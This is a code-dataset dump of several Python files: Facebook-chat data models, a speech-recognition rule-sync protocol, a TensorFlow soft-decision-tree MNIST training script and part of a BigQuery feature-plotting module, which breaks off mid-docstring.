{"api_name": "tensorflow.compat", "line_number": 181, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 182, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 182, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 182, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.layers.dense", "line_number": 183, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 183, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 212, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 248, "usage_type": "name"}, {"api_name": "numpy.save", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 255, "usage_type": "call"}]} +{"seq_id": "38280627", "text": "from __future__ import unicode_literals\nimport sys\nfrom enum import Enum\n\nclass User:\n def __init__(self, data):\n if data['type'] != 'user':\n raise Exception(\"[!] %s <%s> is not a user\" % (data['text'], data['path']))\n self.uid = data['uid']\n self.type = data['type']\n self.photo = data['photo']\n self.url = data['path']\n self.name = data['text']\n self.score = data['score']\n self.data = data\n\n def __repr__(self):\n uni = self.__unicode__()\n return uni.encode('utf-8') if sys.version_info < (3, 0) else uni\n\n def __unicode__(self):\n return u'<%s %s (%s)>' % (self.type.upper(), self.name, self.url)\n\n @staticmethod\n def adaptFromChat(user_in_chat):\n \"\"\" Adapts user info from chat to User model acceptable initial dict\n\n :param user_in_chat: user info from chat\n\n 'dir': None,\n 'mThumbSrcSmall': None,\n 'is_friend': False,\n 'is_nonfriend_messenger_contact': True,\n 'alternateName': '',\n 'i18nGender': 16777216,\n 'vanity': '',\n 'type': 'friend',\n 'searchTokens': ['Voznesenskij', 'Sergej'],\n 'thumbSrc': 'https://fb-s-b-a.akamaihd.net/h-ak-xfa1/v/t1.0-1/c9.0.32.32/p32x32/10354686_10150004552801856_220367501106153455_n.jpg?oh=71a87d76d4e4d17615a20c43fb8dbb47&oe=59118CE4&__gda__=1493753268_ae75cef40e9785398e744259ccffd7ff',\n 'mThumbSrcLarge': None,\n 'firstName': 'Sergej',\n 'name': 'Sergej Voznesenskij',\n 'uri': 'https://www.facebook.com/profile.php?id=100014812758264',\n 'id': '100014812758264',\n 'gender': 2\n \"\"\"\n\n return {\n 'type': 'user',\n 'uid': user_in_chat['id'],\n 'photo': user_in_chat['thumbSrc'],\n 'path': user_in_chat['uri'],\n 'text': user_in_chat['name'],\n 'score': '',\n 'data': user_in_chat,\n }\n\n\nclass Thread:\n def __init__(self, **entries): \n self.__dict__.update(entries)\n\nclass Message:\n def __init__(self, **entries):\n self.__dict__.update(entries)\n\nclass ThreadType(Enum):\n USER = 1\n GROUP = 2\n\nclass TypingStatus(Enum):\n DELETED = 0\n TYPING = 1\n\nclass EmojiSize(Enum):\n LARGE = {\n 'value': '369239383222810',\n 'name': 'large'\n }\n MEDIUM = {\n 'value': '369239343222814',\n 'name': 'medium'\n }\n SMALL = {\n 'value': '369239263222822',\n 'name': 'small'\n }\n\nLIKES = {\n 'l': EmojiSize.LARGE,\n 'm': EmojiSize.MEDIUM,\n 's': EmojiSize.SMALL\n}\nLIKES['large'] = LIKES['l']\nLIKES['medium'] =LIKES['m']\nLIKES['small'] = LIKES['s']\n", "sub_path": "fbchat/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2667, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.version_info", "line_number": 19, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 67, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 71, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 75, "usage_type": "name"}]} +{"seq_id": "366897335", "text": "import mdlog\nlog = mdlog.getLogger(__name__)\n\nfrom collections import namedtuple, OrderedDict\nimport hashlib\nfrom util import enum\nimport json\nfrom copy import copy\nimport struct\n\n# So here is how the protocol works. The server decides which rules should be\n# enabled. It sends an ENABLE_RULES with a list of sha256 hashes of the rules\n# it wants enabled. All other rules are implicitly disabled. The client\n# receives the message and sends back a REQUEST_RULES for any rules it\n# currently doesn't have in its sha256 keyed cache. This means that rules don't\n# get sent to the client until the first time they're used, and the server\n# doesn't have to track which rules it has or hasn't sent the client.\n#\n# When the client detects mic activity it updates the server with MIC_STATE,\n# START_RECOGNITION, and STOP_RECOGNITION messages.\n#\n# When a match occurs the client sends MATCH_EVENT w/ the sha256 of the matching\n# rule and any associated extras data.\n#\n# The client and server also regularly send each other heartbeat messages. If\n# no other message type has been sent recently. The absence of any messages\n# for an extended period tells us the connection is de facto dead even if the\n# OS stack thinks it's still alive for some reason (e.g. program is in an\n# infinite loop so socket is maintained but nothing can really happen now).\n\n# SERIES means the rule should be merged into the master grammar\n# so it can be chained together into a larger utterance.\n# TERMINAL means the rule should be merged into the master grammar,\n# but only allow it to appear at the end of utterances, typically\n# because it contains a dictation element that would get confused\n# by commands in series occurring after.\n# INDEPENDENT means to not merge this rule into the terminator or\n# terminal master rules. Typically this means you will only be\n# using the rule by reference. You may also want to put infrequent\n# commands in this category to improve recognition since it avoids\n# the recognizer from needing to discern when these rules are used\n# in combination with others, since they can only be used alone.\nRuleType = enum(SERIES=0, TERMINAL=1, INDEPENDENT=2)\n\ndataTypes = set()\n\ndef _newDataType(name, members):\n newType = namedtuple(name, members)\n global dataTypes\n dataTypes.add(newType)\n return newType\n\n# type is rule type\n# seriesMergeGroup lets you have mutually exclusive series rules, to\n# avoid for example having window commands mixed with editing.\n# mapping, extras, default have their normal dragonfly MappingRule meanings\nRule = _newDataType(\"Rule\", \"ruleType seriesMergeGroup name mapping extras defaults\")\nHashedRuleBase = namedtuple(\"HashedRule\", \"rule hash\")\n\nclass HashedRule(HashedRuleBase):\n def __eq__(self, other):\n return self.hash == other.hash\n def __neq__(self, other):\n return self.hash != other.hash\n def __hash__(self):\n return hash(self.hash)\ndataTypes.add(HashedRule)\n\nEnableRulesMsg = _newDataType(\"EnableRulesMsg\", \"hashes\")\nHeartbeatMsg = _newDataType(\"HeartbeatMsg\", \"unused\")\nLoadStateMsg = _newDataType(\"LoadStateMsg\", \"state\")\nLoadRuleMsg = _newDataType(\"LoadRuleMsg\", \"rule\")\nMatchEventMsg = _newDataType(\"MatchEventMsg\", \"hash phrase extras words\")\nMicStateMsg = _newDataType(\"MicStateMsg\", \"state\")\nRecognitionStateMsg = _newDataType(\"RecognitionStateMsg\", \"state\")\nRequestRulesMsg = _newDataType(\"RequestRulesMsg\", \"hashes\")\nWordListMsg = _newDataType(\"WordListMsg\", \"name words\")\nClientQuitMsg = _newDataType(\"ClientQuitMsg\", [])\nToggleVolumeMsg = _newDataType(\"ToggleVolumeMsg\", [])\n\nInteger = _newDataType(\"Integer\", \"name min max\")\nDictation = _newDataType(\"Dictation\", \"name\")\n# The \"rule_ref\" attribute is special. On the server side it\n# will be an actual rule instance, but when we serialize to send\n# to the client we just send a hash. The client handles looking\n# up the hash and substituting the rule accordingly. Technically\n# in dragonfly Repetition takes a RuleRef object rather than a\n# rule directly, but we patch this up in the client to make rules\n# easier to write on the server.\nRepetition = _newDataType(\"Repetition\", \"rule_ref min max name\")\nRuleRef = _newDataType(\"RuleRef\", \"rule_ref name\")\n# 'name' is used to key the global state on the client\n# 'list_name' is the name expected to be used inside rule specs\n# we draw this distiction so we don't have to worry about patching\n# specs for dynamically generated rules\nListRef = _newDataType(\"ListRef\", \"name ref_name words\")\n\ndef makeJSONRepresentable(t):\n toEncode = t\n\n if hasattr(t, \"_fields\"):\n d = OrderedDict()\n d[\"dataType\"] = type(t).__name__\n if \"rule_ref\" in toEncode._fields:\n toEncode = t._replace(rule_ref=t.rule_ref.hash)\n objDict = toEncode._asdict()\n for key, val in objDict.items():\n d[makeJSONRepresentable(key)] = makeJSONRepresentable(val)\n return d\n elif type(t) == dict:\n d = OrderedDict()\n keys = sorted(t.keys())\n for k in keys:\n d[makeJSONRepresentable(k)] = makeJSONRepresentable(t[k])\n return d\n elif type(t) in (tuple, list):\n return [makeJSONRepresentable(e) for e in t]\n elif type(t) == set:\n l = sorted(list(t))\n return [makeJSONRepresentable(e) for e in l]\n return t\n\ndef makeJSON(t):\n d = makeJSONRepresentable(t)\n return json.dumps(d)\n\ndef makeHashedRule(name, mapping, extras=[], defaults={}, ruleType=RuleType.SERIES, seriesMergeGroup=0):\n # Make copies so we can't accidentally make changes to the inputs and\n # break the hash.\n mapping = copy(mapping)\n extras = copy(extras)\n defaults = copy(defaults)\n\n # For the mapping hash we only care about the spoken part of the rule, not the action\n # taken in response.\n forHashMapping = {k : None for k in mapping.keys()}\n\n # So generate the hash with the actions missing\n r = Rule(ruleType, seriesMergeGroup, name, forHashMapping, extras, defaults)\n x = hashlib.sha256()\n x.update(makeJSON(r))\n\n # Then remake the rule with the actions included. Up to server to strip them again\n # before sending to client.\n r = Rule(ruleType, seriesMergeGroup, name, mapping, extras, defaults)\n return HashedRule(r, x.hexdigest()[:32])\n\ndef parseNamedTuple(p, t):\n del p[\"dataType\"]\n return t(**p)\n\ndef asDataType(dct):\n if \"dataType\" in dct:\n for t in dataTypes:\n if t.__name__ == dct[\"dataType\"]:\n return parseNamedTuple(dct, t)\n return dct\n\ndef parseMessage(json_msg):\n p = json.loads(json_msg, object_hook=asDataType)\n #log.info(\"type: [%s]\" % type(p))\n return p\n\ndef parseStream(msgs, buf, nextMsgSize):\n \"\"\"Parses the TCP stream, returning new buf and nextMsgSize state.\"\"\"\n idx = 0\n\n del msgs[:]\n\n while idx < len(buf):\n if nextMsgSize == 0:\n if len(buf) - idx >= 4:\n nextMsgSize = struct.unpack(\"!I\", buf[idx:idx+4])[0]\n idx += 4\n else:\n break\n\n if len(buf) - idx >= nextMsgSize:\n msgs.append(buf[idx:idx+nextMsgSize])\n idx += nextMsgSize\n nextMsgSize = 0\n else:\n break\n\n return (msgs, buf[idx:], nextMsgSize)\n\n### DRAGONSHARE RSYNC\n", "sub_path": "protocol.py", "file_name": "protocol.py", "file_ext": "py", "file_size_in_byte": 7259, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "mdlog.getLogger", "line_number": 2, "usage_type": "call"}, {"api_name": "util.enum", "line_number": 43, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 48, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 58, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 102, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 111, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 125, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 130, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 131, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 132, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 140, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 160, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 173, "usage_type": "call"}]} +{"seq_id": "453693155", "text": "import tensorflow as tf\nimport numpy as np\nfrom sklearn.metrics import accuracy_score\nfrom Layers.model import SoftDecisionTree\nfrom lib.helper import get_transformed_mnist_data, next_batch\n\nif __name__ == '__main__':\n x_train, y_train, x_test, y_test, x_validation, y_validation = get_transformed_mnist_data()\n\n n_features = 784\n n_classes = 10\n batch_size = 32\n val_batch_size = 256\n\n tree = SoftDecisionTree(max_depth=6, n_features=n_features, n_classes=n_classes, max_leafs=None)\n tree.build_tree()\n\n # optimizer\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=0.001, beta1=0.9, beta2=0.999, epsilon=1e-08).minimize(\n tree.loss)\n\n # Saving the model\n # saver = tf.train.Saver()\n\n # Initialize the variables (i.e. assign their default value)\n init = tf.compat.v1.global_variables_initializer()\n\n EPOCHS = 1000\n TOTAL_BATCH = 16\n display_step = 100\n with tf.compat.v1.Session() as sess:\n sess.run(init)\n for epoch in range(EPOCHS):\n\n avg_cost = 0.\n # Loop over all batches\n acc = 0.0\n val_acc = 0.0\n index_in_epoch = 0\n for i in range(TOTAL_BATCH):\n batch_xs, batch_ys, index_in_epoch = next_batch(\n x_train,\n y_train,\n batch_size,\n epoch,\n index_in_epoch\n )\n\n c = tree.boost(X=batch_xs, y=batch_ys, sess=sess, optimizer=optimizer)\n\n target = np.argmax(batch_ys, axis=1)\n predictions = tree.predict(X=batch_xs, y=batch_ys, sess=sess)\n acc += accuracy_score(y_pred=predictions, y_true=target) / TOTAL_BATCH\n\n # Compute average loss\n avg_cost += acc / TOTAL_BATCH\n\n # Display logs per epoch step\n if (epoch + 1) % display_step == 0:\n batch_val_xs, batch_val_ys, _ = next_batch(\n x_validation,\n y_validation,\n val_batch_size,\n epoch\n )\n\n val_target = np.argmax(batch_val_ys, axis=1)\n val_preds = tree.predict(X=batch_val_xs, y=batch_val_ys, sess=sess)\n val_acc = accuracy_score(y_pred=val_preds, y_true=val_target)\n\n print(\"Epoch:\", '%04d' % (epoch + 1), \"cost=\",\n \"{:.9f}\".format(avg_cost), \"training_accuracy=\", \"{:.4f}\".format(acc),\n \"validation_accuracy=\", \"{:.4f}\".format(val_acc))\n", "sub_path": "mnist_example.py", "file_name": "mnist_example.py", "file_ext": "py", "file_size_in_byte": 2581, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "lib.helper.get_transformed_mnist_data", "line_number": 8, "usage_type": "call"}, {"api_name": "Layers.model.SoftDecisionTree", "line_number": 15, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.train.AdamOptimizer", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 19, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.global_variables_initializer", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.Session", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 31, "usage_type": "attribute"}, {"api_name": "lib.helper.next_batch", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 51, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 53, "usage_type": "call"}, {"api_name": "lib.helper.next_batch", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 67, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 69, "usage_type": "call"}]} +{"seq_id": "90269930", "text": "# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# python3\n\"\"\"Visualizes the ML features created by the ML Windowing Pipeline.\n\nCalculates statistics from the numerical and categoticals features in the\nFeatures table in BigQuery, generates and outputs plots. These plots can be\nused to explore the features to understand the distributions and any anomalies\nsuch as label leakage and inconsistencies over time.\n\nFeature table is created by the FeaturesPipeline of the\nML Windowing Pipeline tool. For more info:\nhttps://github.com/google/gps_building_blocks/tree/master/py/gps_building_blocks/ml/data_prep/ml_windowing_pipeline\n\"\"\"\n\nfrom typing import List, Optional, Sequence, Union\nimport warnings\nfrom absl import logging\nfrom google.cloud import bigquery\nfrom matplotlib import axes\nfrom matplotlib import pyplot\nimport numpy as np\nimport pandas as pd\nfrom gps_building_blocks.ml.data_prep.data_visualizer import viz_utils\n\n# Class FeatureVisualizer utilize these constants to generate plots and arrange\n# them in a single column. By changing the values of these constants will break\n# the code.\n_NUMERICAL_ROWS_IN_SUBPLOTS_GRID = 3\n_NUMERICAL_COLS_IN_SUBPLOTS_GRID = 1\n_CATEGORICAL_ROWS_IN_SUBPLOTS_GRID = 3\n_CATEGORICAL_COLS_IN_SUBPLOTS_GRID = 1\n\n# Path to the file with sql code to calculate stats from the numerical features\n# in the Features table in BigQuery.\n_CALC_NUM_FEATURE_STATS_SQL_PATH = viz_utils.get_absolute_path(\n 'calc_numerical_feature_stats.sql')\n# Path to the file with sql code to calculate stats from the categorical\n# features in the Features table in BigQuery.\n_CALC_CAT_FEATURE_STATS_SQL_PATH = viz_utils.get_absolute_path(\n 'calc_categorical_feature_stats.sql')\n# Path to the file with sql code to extract a sample of numerical features\n# from the Features table in BigQuery.\n_EXTRACT_NUM_FEATURE_SAMPLE_SQL_PATH = viz_utils.get_absolute_path(\n 'extract_numerical_features_sample.sql')\n\n# Type of the label values\nLabelType = Union[str, bool, int]\n\nwarnings.filterwarnings('ignore')\n\n\nclass _FeaturePlotStyles:\n \"\"\"This class encapsulates variables controlling styles of feature plots.\"\"\"\n\n def __init__(self,\n fig_width: Optional[int] = 10,\n fig_height: Optional[int] = 30,\n title_fontsize: Optional[int] = 15,\n legend_fontsize: Optional[int] = 10,\n xlabel_fontsize: Optional[int] = 10,\n ylabel_fontsize: Optional[int] = 10,\n xticklabels_fontsize: Optional[int] = 10,\n yticklabels_fontsize: Optional[int] = 10):\n \"\"\"Initialises parameters.\n\n Args:\n fig_width: Width of the figure.\n fig_height: Height of the figure.\n title_fontsize: Title font size.\n legend_fontsize: Legend font size.\n xlabel_fontsize: X-axis label font size.\n ylabel_fontsize: Y-axis label font size.\n xticklabels_fontsize: X-axis tick label font size.\n yticklabels_fontsize: Y-axis tick label font size.\n \"\"\"\n self.fig_width = fig_width\n self.fig_height = fig_height\n self.title_fontsize = title_fontsize\n self.legend_fontsize = legend_fontsize\n self.xlabel_fontsize = xlabel_fontsize\n self.ylabel_fontsize = ylabel_fontsize\n self.xticklabels_fontsize = xticklabels_fontsize\n self.yticklabels_fontsize = yticklabels_fontsize\n\n\ndef _plot_numerical_feature(\n df_data: pd.DataFrame, df_data_sample: pd.DataFrame, feature_name: str,\n positive_class_label: LabelType, negative_class_label: LabelType,\n plot_style_params: _FeaturePlotStyles) -> List[axes.Axes]:\n \"\"\"Plots the statistics of a numerical feature.\n\n Generates following plots:\n - distribution of values by label\n - average with confidence interval for positive instances by snapshot_date\n - average with confidence interval for negative instances by snapshot_date\n\n Args:\n df_data: data to plot containing snapshot_date, label, record_count,\n prop_missing, prop_non_num, average and stddev columns.\n df_data_sample: data to plot containing columns corresponding to features\n and label.\n feature_name: Name of the feature.\n positive_class_label: label for positive class\n negative_class_label: label for negative class\n plot_style_params: Plot style parameters.\n\n Returns:\n plots: A list of Axes containing 4 plots.\n \"\"\"\n\n logging.info('Plotting numerical feature %s', feature_name)\n _, plots = pyplot.subplots(\n nrows=_NUMERICAL_ROWS_IN_SUBPLOTS_GRID,\n ncols=_NUMERICAL_COLS_IN_SUBPLOTS_GRID,\n figsize=(plot_style_params.fig_width, plot_style_params.fig_height))\n\n # Plot class conditional distribution of the feature\n plot_data = df_data_sample.pivot(columns='label', values=feature_name)\n box_plot = plot_data.plot.box(ax=plots[0], vert=False, grid=True)\n box_plot.yaxis.grid(True, linestyle='dashed')\n box_plot.set_title(\n label=f'Distribution of [{feature_name}]',\n fontsize=plot_style_params.title_fontsize)\n box_plot.set_xlabel(\n xlabel='values', fontsize=plot_style_params.xlabel_fontsize)\n box_plot.set_ylabel(\n ylabel='label', fontsize=plot_style_params.ylabel_fontsize)\n box_plot.tick_params(\n axis='x', which='both', labelsize=plot_style_params.xticklabels_fontsize)\n box_plot.tick_params(\n axis='y', which='both', labelsize=plot_style_params.yticklabels_fontsize)\n\n df_data = df_data.sort_values(by='snapshot_date', ascending=True)\n # Calculate 95% confidence intervals to plot error bars\n # indicating estimated range of values for average.\n df_data.loc[:, 'ci'] = (1.96 * df_data['stddev'] /\n np.sqrt(df_data['record_count']))\n\n # Daily Average of feature per Snapshot for positive label\n pos_data = df_data[df_data['label'] == positive_class_label]\n\n common_lineplot_params = {\n 'axes': plots,\n 'title_fontsize': plot_style_params.title_fontsize,\n 'xlabel_fontsize': plot_style_params.xlabel_fontsize,\n 'ylabel_fontsize': plot_style_params.ylabel_fontsize,\n 'xticklabels_fontsize': plot_style_params.xticklabels_fontsize,\n 'yticklabels_fontsize': plot_style_params.yticklabels_fontsize\n }\n title_text = 'Daily Average per Snapshot for label'\n\n viz_utils.plot_line(\n plot_data=pos_data,\n x_variable='snapshot_date',\n y_variable='average',\n line_color='limegreen',\n title=f'[{feature_name}] | {title_text} = {positive_class_label}',\n subplot_index=1,\n **common_lineplot_params)\n\n # Adding error bars to subplot.\n plots[1].errorbar(\n x=pos_data['snapshot_date'],\n y=pos_data['average'],\n yerr=pos_data['ci'],\n ecolor='limegreen',\n linestyle='--',\n capsize=5,\n alpha=0.5)\n\n # Daily Average of feature per Snapshot for negative label\n neg_data = df_data[df_data['label'] == negative_class_label]\n\n viz_utils.plot_line(\n plot_data=neg_data,\n x_variable='snapshot_date',\n y_variable='average',\n line_color='cornflowerblue',\n title=f'[{feature_name}] | {title_text} = {negative_class_label}',\n subplot_index=2,\n **common_lineplot_params)\n\n # Adding error bars to subplot.\n plots[2].errorbar(\n x=neg_data['snapshot_date'],\n y=neg_data['average'],\n yerr=neg_data['ci'],\n ecolor='cornflowerblue',\n linestyle='--',\n capsize=5,\n alpha=0.5)\n\n return plots\n\n\ndef _plot_categorical_feature(\n df_data: pd.DataFrame, feature_name: str, positive_class_label: LabelType,\n negative_class_label: LabelType,\n plot_style_params: _FeaturePlotStyles) -> List[axes.Axes]:\n \"\"\"Plots the statistics of a categorical feature.\n\n Generates following plots:\n - Snapshot distribution of proportion of values by label\n - Proportion of values by snapshot_date for label=True\n - Proportion of values by snapshot_date for label=True\n\n Args:\n df_data: data to plot containing : snapshot_date, label, record_count,\n prop_missing, prop_non_num, average, stddev columns.\n feature_name: Name of the feature.\n positive_class_label: label for positive class\n negative_class_label: label for negative class\n plot_style_params: Plot style parameters.\n\n Returns:\n plots: A list of Axes containing 4 plots.\n \"\"\"\n logging.info('Plotting categorical feature %s', feature_name)\n\n _, plots = pyplot.subplots(\n nrows=_CATEGORICAL_ROWS_IN_SUBPLOTS_GRID,\n ncols=_CATEGORICAL_COLS_IN_SUBPLOTS_GRID,\n figsize=(plot_style_params.fig_width, plot_style_params.fig_height))\n\n # Aggregating dataframe on date level to get data for the category\n # distribution plot.\n df_value_count = df_data.groupby(['label',\n 'value'])[['count']].sum().reset_index()\n\n df_total_count = df_data.groupby('label')[['count']].sum().reset_index()\n df_total_count = df_total_count.rename(columns={'count': 'total_count'})\n\n # Joining total counts and calculating proportions.\n df_value_proportions = df_value_count.merge(df_total_count, on='label')\n df_value_proportions['percentage'] = (\n df_value_proportions['count'] / df_value_proportions['total_count']) * 100\n\n common_barplot_params = {\n 'axes': plots,\n 'title_fontsize': plot_style_params.title_fontsize,\n 'xlabel_fontsize': plot_style_params.xlabel_fontsize,\n 'ylabel_fontsize': plot_style_params.ylabel_fontsize,\n 'xticklabels_fontsize': plot_style_params.xticklabels_fontsize,\n 'yticklabels_fontsize': plot_style_params.yticklabels_fontsize\n }\n\n viz_utils.plot_bar(\n plot_data=df_value_proportions,\n x_variable='value',\n y_variable='percentage',\n group_variable='label',\n title=f'Distribution of [{feature_name}]',\n subplot_index=0,\n **common_barplot_params)\n\n # Dataframe for positive instances.\n pos_data = df_data[df_data['label'] == positive_class_label]\n pos_data = pos_data.sort_values(['snapshot_date', 'feature'], ascending=True)\n\n # Plot for positive instances.\n pos_plot_title = (f'Snapshot-level Distribution of [{feature_name}] for '\n 'label = {positive_class_label}')\n viz_utils.plot_bar(\n plot_data=pos_data,\n x_variable='snapshot_date',\n y_variable='percentage',\n group_variable='value',\n stacked_bars=True,\n title=pos_plot_title,\n subplot_index=1,\n xticklabels_rotation=45,\n x_label='',\n **common_barplot_params)\n\n # Dataframe for negative instances.\n neg_data = df_data[df_data['label'] == negative_class_label]\n neg_data = neg_data.sort_values(['snapshot_date', 'feature'], ascending=True)\n\n # Plot for negative instances.\n neg_plot_title = (f'Snapshot-level Distribution of [{feature_name}] for '\n 'label = {negative_class_label}')\n viz_utils.plot_bar(\n plot_data=neg_data,\n x_variable='snapshot_date',\n y_variable='percentage',\n group_variable='value',\n stacked_bars=True,\n title=neg_plot_title,\n subplot_index=2,\n xticklabels_rotation=45,\n **common_barplot_params,\n )\n\n return plots\n\n\nclass FeatureVisualizer(object):\n \"\"\"This class provides methods to visualize the ML features.\n\n Features table is created by the GenerateFeaturesPipeline of\n MLDataWindowingPipeline.\n \"\"\"\n\n def __init__(self, bq_client: bigquery.client.Client,\n features_table_path: str, numerical_features: Sequence[str],\n categorical_features: Sequence[str], label_column: str,\n positive_class_label: Union[str, bool, int],\n negative_class_label: Union[str, bool, int],\n num_pos_instances: int, num_neg_instances: int) -> None:\n \"\"\"Initialises parameters.\n\n Args:\n bq_client: Connection object to the Bigquery account.\n features_table_path: Full path to the BigQuery Features table. example:\n 'project_id.dataset.features_table\n numerical_features: List of numerical feature names to calculate\n statistics for.\n categorical_features: List of categorical feature names to calculate\n statistics for.\n label_column: Name of the label column of the Instance table.\n positive_class_label: Label value representing the positive class\n instances.\n negative_class_label: Label value representing the negative class\n instances.\n num_pos_instances: Number of positive instances to randomly select for\n numerical feature visualization.\n num_neg_instances: Number of negative instances to randomly select for\n numerical feature visualization.\n \"\"\"\n self._bq_client = bq_client\n self._features_table_path = features_table_path\n self._numerical_feature_list = list(numerical_features)\n self._categorical_feature_list = list(categorical_features)\n self._label_column = label_column\n self._positive_class_label = positive_class_label\n self._negative_class_label = negative_class_label\n self._num_pos_instances = num_pos_instances\n self._num_neg_instances = num_neg_instances\n\n def _create_struct_column_list_sql(self, column_list: Sequence[str]) -> str:\n \"\"\"Creates an sql segment containing a list of STRUCT of columns.\n\n The resulted sql segment contains each column in the input column list\n in the following format: STRUCT('column' AS feature, column AS value).\n\n Args:\n column_list: a list containing the selected column names.\n\n Returns:\n results: sql code segment.\n \"\"\"\n sql_segment = ', '.join(\n f\"STRUCT('{column}' AS feature, {column} AS value)\"\n for column in column_list\n )\n\n return sql_segment\n\n def _create_column_list_sql(self, column_list: Sequence[str]) -> str:\n \"\"\"Creates an sql segment containing a list of comma separated columns.\n\n Args:\n column_list: a list containing the selected column names.\n\n Returns:\n results: sql code segment.\n \"\"\"\n sql_segment = column_list[0]\n for column in column_list[1:]:\n sql_segment = f'{sql_segment}, {column}'\n\n return sql_segment\n\n def _calc_numerical_feature_stats(self) -> pd.DataFrame:\n \"\"\"Calculates the statistics from selected numerical features.\n\n Returns:\n results: Calculated statistics.\n \"\"\"\n logging.info('Calculating statistics from numerical features.')\n logging.info('Creating the sql code.')\n sql_segment = self._create_struct_column_list_sql(\n self._numerical_feature_list)\n query_params = {\n 'bq_features_table': self._features_table_path,\n 'sql_code_segment': sql_segment\n }\n sql_query = viz_utils.patch_sql(_CALC_NUM_FEATURE_STATS_SQL_PATH,\n query_params)\n logging.info('Finished creating the sql code.')\n\n logging.info('Executing the sql code.')\n results = viz_utils.execute_sql(self._bq_client, sql_query)\n logging.info('Finished executing the sql code.')\n\n return results\n\n def _extract_numerical_feature_sample(self) -> pd.DataFrame:\n \"\"\"Extracts a random sample of values from selected numerical features.\n\n Returns:\n results: Extracted values as a DataFrame.\n \"\"\"\n logging.info('Extracting a random sample of numerical features.')\n logging.info('Creating the sql code.')\n sql_segment = self._create_column_list_sql(\n self._numerical_feature_list)\n query_params = {\n 'bq_features_table': self._features_table_path,\n 'label_column': self._label_column,\n 'positive_class_label': self._positive_class_label,\n 'negative_class_label': self._negative_class_label,\n 'num_pos_instances': self._num_pos_instances,\n 'num_neg_instances': self._num_neg_instances,\n 'column_list_sql': sql_segment\n }\n sql_query = viz_utils.patch_sql(_EXTRACT_NUM_FEATURE_SAMPLE_SQL_PATH,\n query_params)\n logging.info('Finished creating the sql code.')\n\n logging.info('Executing the sql code.')\n results = viz_utils.execute_sql(self._bq_client, sql_query)\n logging.info('Finished executing the sql code.')\n\n return results\n\n def _calc_categorical_feature_stats(self) -> pd.DataFrame:\n \"\"\"Calculates the statistics from selected categorical features.\n\n Returns:\n results: Calculated statistics.\n \"\"\"\n logging.info('Calculating statistics from categorical features.')\n logging.info('Creating the sql code.')\n sql_segment = self._create_struct_column_list_sql(\n self._categorical_feature_list)\n query_params = {\n 'bq_features_table': self._features_table_path,\n 'sql_code_segment': sql_segment\n }\n sql_query = viz_utils.patch_sql(_CALC_CAT_FEATURE_STATS_SQL_PATH,\n query_params)\n logging.info('Finished creating the sql code.')\n\n logging.info('Executing the sql code.')\n results = viz_utils.execute_sql(self._bq_client, sql_query)\n logging.info('Finished executing the sql code.')\n\n return results\n\n def plot_features(\n self,\n fig_width: Optional[int] = 30,\n fig_height: Optional[int] = 26,\n title_fontsize: Optional[int] = 18,\n legend_fontsize: Optional[int] = 12,\n xlabel_fontsize: Optional[int] = 12,\n ylabel_fontsize: Optional[int] = 15,\n xticklabels_fontsize: Optional[int] = 12,\n yticklabels_fontsize: Optional[int] = 12) -> List[List[axes.Axes]]:\n \"\"\"Creates plots for numerical and categorical features.\n\n Before plotting executes sql statements to return stats\n for numerical and categorical features.\n Args:\n 